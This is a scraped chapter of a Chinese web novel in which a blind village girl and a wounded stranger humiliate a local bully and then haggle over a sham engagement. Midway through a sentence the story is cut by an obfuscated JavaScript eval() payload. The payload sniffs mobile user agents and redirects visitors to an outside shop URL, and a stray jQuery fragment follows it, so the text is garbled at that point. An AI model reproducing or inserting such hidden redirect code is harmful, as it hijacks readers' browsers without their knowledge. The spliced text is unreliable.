阿婵使了巧劲,看似绵软,实则手掌间的骨头重重击上张大郎脸侧,那张大郎本就是空架子一副,因此被阿婵的掌风带的栽歪一旁。
而后,阿婵好似脱力一般,顺势向后倒去,被墨觉一把接住,再抬头时,已是满目泪痕。
阿婵带着哭腔,语气隐忍,诉道:
“大郎,我念着张伯夫妻二人对我多有照顾,因此对你忍让至今,你平日骚扰也就罢了,如今竟将我已逝的父母也辱了去,实在是欺人太甚!”
张大郎脸颊红肿,脑中发蒙,他没料到如此弱不禁风的瞎眼小娘子,竟敢掌掴他,待回神,立即瞪起眼来,起身便要还手:
“你!你个骚娘们儿,你居然敢打老子!老子要叫你好看!”
阿婵向后侧了侧身,身旁的墨觉果然替她挡住了张大郎伸来的胳膊。
那墨觉一把抓住张大郎的手臂,将他转了半圈,又使了些力气,将他手臂压在腰后。
张大郎哎呦一声:
“松……松开!老子叔父可是县衙师爷!老子定要叫你们吃不了兜着走!”
阿婵听他已被墨觉压制的动弹不得,继续放声哭诉:
“张大郎,这些年来,你在村中依仗那点芝麻权势,没少坑害幼妹新妇!亲邻对你已是苦不堪言,忠言逆耳,你可莫要再执迷不悟了!”
一句话顿时引得妇人群里一阵附和:
“是啊,六子家小妹,那年投河便是因他……”
“啊?竟是因为此事……”
“老孙家休妻,据说便是新妇与他不清不楚……”
……
阿婵听着心中冷笑,这些年,张大郎在村中没少骚扰妇孺,这些事隐蔽,受害者迫于情面,或是迫于权势,也大都遮遮掩掩,自吞苦果。那村长夫妻二人又是惯会护子的,仗着自家在村中有些威望,出了事,轻飘飘道个歉,息事宁人,便就此揭过不提了。因此,反而助长了张大郎的胆量,令他一而再再而三的祸害良家女子。
阿婵看似娇柔,但她并不在意名声那些莫须有的东西,今日趁着村中妇孺都在这,又有墨觉护她,于是便引着,将这些捂着的腌臜事挑明出来,今后也好叫那张大郎收敛些。
那张大郎听见自己的陈年旧事,被人尽数抖落出来,急忙跳脚反驳:
“你胡说!你这丧门星!你们这群长舌妇,老子将来是要做那举人的!明明是那些女子不守妇道勾引我!我看谁敢瞎传!”
墨觉嗤笑一声,手中再次使力,那张大郎又哎呦一声,嚷嚷道:
“好汉!好汉!是我有眼不识泰山,我敬重你!莫要再使力了!你听我一句劝,这个瞎婆娘是个黑心的……”
墨觉低头,仅用他俩能听到的声音,说道:
“呵,怎么,你见我是个心善的吗?”
说完手中继续用力,将张大郎的手臂折成个奇异的角度,那张大郎疼的龇牙咧嘴,额头冒出豆粒般的汗珠,再也说不出话来。
就在这时,村长娘子从人群中踉跄地挤进来,一把扑住张大郎,墨觉见状松了手,村长娘子揽住张大郎:
“儿啊!我的儿啊!”
那张大郎一见亲娘,终于抓到了救命稻草,嘴上带了哭腔:
“娘!他们这对狗男女,欺负到儿子头上了,这是不把你和爹放在眼里了!快快将他们赶出村去!”
“儿啊!算了吧,咱们先回去吧!”
“算了?我将来可是举人老爷,怎可如此就算了!我要与我叔父说!让县太爷与我撑腰!”
阿婵闻言擦擦泪,扬脸冲着妇人群说道:
“怎么,县太爷难道昏了头,还能将黑的硬说成白的不是?”
人群中王家嫂子及时附和:
“是呀!青天白日的,要真是县太爷问起来,我便与阿婵作证!”
“是了!算我一个!”
“算我一个!”
……
张大郎眼见着群情激奋,怕是再吃眼前亏,也不敢多留,揉着酸痛的胳膊,丢下一句狠话:
“你……你们两个狗男女,给我等着!”
话音未落,便与村长娘子灰溜溜的挤出人群。
风波已过,阿婵福了福身,谢过各位妇孺:
“今日多谢各位婶娘嫂子帮衬,只是怕与各位婶娘嫂子平白惹来麻烦……”
那王家嫂子却说:
“阿婵别怕,这等流氓无赖,我已忍他许久,早想和他分辩一番!只是刚才没厮打起来,不然我也定要给他一肘!”
又有人附和:
“秀莲这是今日不在村中,不然,也定要把他那好腿踹断!”
“是了,好容易清静些日子,他这又要出来祸害人!”
……
阿婵与墨觉与几位妇孺拜别,关了门,阿婵坐在桌边,长长舒了口气。
墨觉拄着盲杖也在她身侧坐下,与她倒了杯水,递到指边:
“怎么,刚才我看你争辩时,并未有一丝紧张,若是没我,你也定有旁的主意处置此人罢。”
这小瞎子柔中带钢,可不是表面上那般柔弱无依,今日她见风使舵,几句话引得群情激奋,倒是那张大郎空有无赖的架子,脑中混沌,无一丝心计。
阿婵接过水杯:
“莫大哥哪里话,今日多亏有你照应,我才好壮着胆子与那无赖较量,家中若是没有可靠的男子,我哪里敢如此行事!还要多谢你侠骨柔肠为我撑腰!”
墨觉闻言不免笑起来,这个小瞎子甜言蜜语张嘴便来,她明明对他多有防备,这三言两语倒成了“侠骨柔肠的可靠的男子”!
墨觉有意试探她一二,又沉声说道:
“这几日我日渐康健,如今也替你吓退了那无赖,想来一时半刻不再有旁的波折,我思量一番,还是早日离去,不多打扰了。”
他要走?
阿婵心中一惊,粗陶的杯盏挨上桌面,发出一声清脆的扣响:
“表哥,下月初七在即,你我二人可是定了婚约的!”
笑话!这人怎么能走?他可是目前找回自己身份的唯一线索,怎么能就这么轻易的放他走!
墨觉眉眼无声弯起,只是仍压低嗓音,叹道:
“阿婵姑娘,不过是个便宜表哥而已,你也说过那婚约不过是权宜之计,如今麻烦已经解决,你也兑了银钱,我们两个也算互不相欠了。”
“那怎么行的!这些时日,与你求医问药花费不少,我才兑了一百两,难免要自己贴补一些……”
墨觉闻言盯她袖袋处,看她无声将那侧袖子掩住,嘴角又翘起几分:
“还差多少?待我日后补你,可好?”
“那怎好,这前前后后加起来,没个三五百两哪能治得好!你若是跑了,天大地大,我一个瞎眼小娘子,如何去寻你!”
“哦?我竟不知有这么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704701|208284||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
多!”
阿婵连忙接过话来:
“是呀,不当家哪知柴米贵,日日汤药呢!我可是嘱咐过易伯,多给你开些名贵药材……不过你别急,你且安心在这里将养,银钱的事,日后慢慢挣来还我,也未尝不可。”
“那你我二人的婚事……”
见墨觉仍有推脱的意思,阿婵咬咬牙,索性搬出恩情来:
“莫大哥,你看,若不是那日山中我侥幸救你一命,如今你早化作一副枯骨了吧!阿婵也无旁的要求,盲眼孤女无依无靠,只怕那张大郎仗着权势再来欺压,莫大哥一表人才,武艺高强又兼有侠义心肠,还劳烦你多待些时日,与我做一对假夫妻,待日后风头过了,你我二人再和离,如何?”
阿婵言辞似是恳切,墨觉听得心中熨帖。
这小瞎子是个无利不起早的,之前对他装模作样,好似情势所迫不得以才留下他,而现在,见她态度如此急切,墨觉已然十分肯定,她必定有其他所图,才会如此这般尽力挽留。
不过,她一个山村瞎眼小娘子,到底对他有什么图谋呢?
而阿婵这边,侧着耳朵探听墨觉的动静,见他犹疑,迟迟未有回应,于是再次出言:
“莫大哥,你放心,我阿婵虽是猎户女,也是有一身本领养家的,定然不会叫你受了委屈!”
墨觉闻言不自觉挑起眉梢,眸中渐渐升起一丝波澜,他上下打量着阿婵的眉眼唇间,这小瞎子平日里说话半真半假,此时紧抿着唇线,倒是一本正经得有些唬人。
不叫他受委屈?他一个杀伐之人,能叫他受委屈的,怕是都已过了奈何桥了!
不过,倒是平生第一次遇到女子说要养他,还是个瞎眼的!
这感觉就好似……好似棉花团般的小鸡仔,要将那俯视尘寰的鹰隼护在短小的羽翼之下。
墨觉终于忍不住,肩头微微耸动,闷闷笑出声来。
阿婵脑中顿时轰鸣一声,糟了!
心里还未盘算明白,便又听那人理了理衣衫,骄然说道:
“行了,既然你如此恳求我,那我便如你的愿,与你多待些时日吧!”
好哇!好你个瘸腿的狐狸!
阿婵脑中霎时间清明了许多,心中愤愤,她竟不知不觉着了这瘸子的道!他刚才哪里是要辞别,分明是在试探!真是狡诈!
阿婵吃了闷亏,懊悔不已,但话已至此,又不得与他撕破脸皮,于是只好咬牙道:
“那可真是多谢你了,瘸……莫大哥!”
墨觉朗声回她,声音如晴日清泉般朗润:
“无妨,无妨!”
笑意深深,继而鼻尖一热,墨觉抬指一抹,手尖一道刺眼的猩红。
墨觉有些怔愣,又抬眼悄悄看向对面,那小瞎子盲着一双眼空空望着,指尖捏紧,正侧耳仔细听着他的动静,墨觉放轻了动作,将鼻血轻轻拭去。
阿婵听他突然无了声息,疑惑问道:
“莫大哥?”
“无事……”
接着,那人又懒洋洋吩咐道:
“……今日秋燥,晚间我要用些银耳莲子百合羹,家中可有白瓷碗盏,那粗陶碗盏甚是粗糙,盛起汤羹来少了许多风味……”
呵!好一尊大佛呦!
阿婵撇嘴,世上怎有如此吹毛求疵之人!
若有朝一日,她顺利解开身世之谜,定要用上个百种毒药,先将这莫觉毒哑毒傻!